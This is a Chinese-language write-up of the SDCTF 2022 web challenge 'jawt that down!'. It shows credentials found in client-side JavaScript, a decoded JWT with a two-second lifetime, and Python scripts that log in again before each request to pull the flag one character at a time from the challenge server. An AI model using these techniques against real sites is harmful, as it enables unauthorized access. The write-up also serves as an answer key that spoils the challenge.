[SDCTF 2022]jawt that down!

[SDCTF 2022]jawt that down!

打开题目,存在登录框

[SDCTF 2022]jawt that down!_第1张图片

初步测试发现并不存在sql注入漏洞,只好扫一下目录发现有/js的路径

我们进一步扫描

[SDCTF 2022]jawt that down!_第2张图片

访问/js/login.js看一下,搜索得到用户名和密码

AzureDiamond
hunter2

[SDCTF 2022]jawt that down!_第3张图片

登陆成功后发现有个N

[SDCTF 2022]jawt that down!_第4张图片

点进去提示token错误

[SDCTF 2022]jawt that down!_第5张图片

我们将cookie中的值解密一下,发现验证失败

[SDCTF 2022]jawt that down!_第6张图片

通过查询json参数可以知道

这个JSON对象表示一个用户的身份验证信息,包含以下参数:

  • "username":表示用户名,这里是 “AzureDiamond”。
  • "token":表示令牌(token),这里是 “5086a09b2dc4f4bfd9295f942428c63b”。令牌通常用于身份验证和授权,可以用于标识用户或应用程序的身份。
  • "iat":表示令牌的发行时间(issued at),这里是 1704255578。它是一个UNIX时间戳,表示令牌生成的时间,以秒为单位。
  • "exp":表示令牌的过期时间(expiration time),这里是 1704255580。它也是一个UNIX时间戳,表示令牌的有效时间截至的时间点,以秒为单位。

说明令牌有效时间只有两秒,我们可以尝试写脚本来实现绕过令牌过期

import requests

sess = requests.Session()  #创建session会话对象
url = "http://node5.anna.nssctf.cn:28195/"

def login():
	sess.post(url + "login", data={"username":"AzureDiamond", "password":"hunter2"})
	
login()
resp = sess.get(url + "N")
print(resp.text)

运行脚本后回显S,当我们修改为访问/S时却回显404

而修改为/N/S时成功回显S,那么不妨大胆猜测下通过迭代的路径就是flag,比如/N/S/S/C/T/F/{/.../}

import requests

sess = requests.session()
URL = 'http://node5.anna.nssctf.cn:28611'
flag = '/N/'
while True:
    data = {"username":"AzureDiamond","password":"hunter2"}
    r = sess.post(URL+'/login',data=data)
    print(flag)
    r1 = sess.get(f'{URL}{flag}')
    flag += r1.text + '/'
    if '}' in flag:
        break
print(flag.replace('/',''))

运行得到flag

[SDCTF 2022]jawt that down!_第7张图片

你可能感兴趣的:(前端,学习,web安全,安全,网络)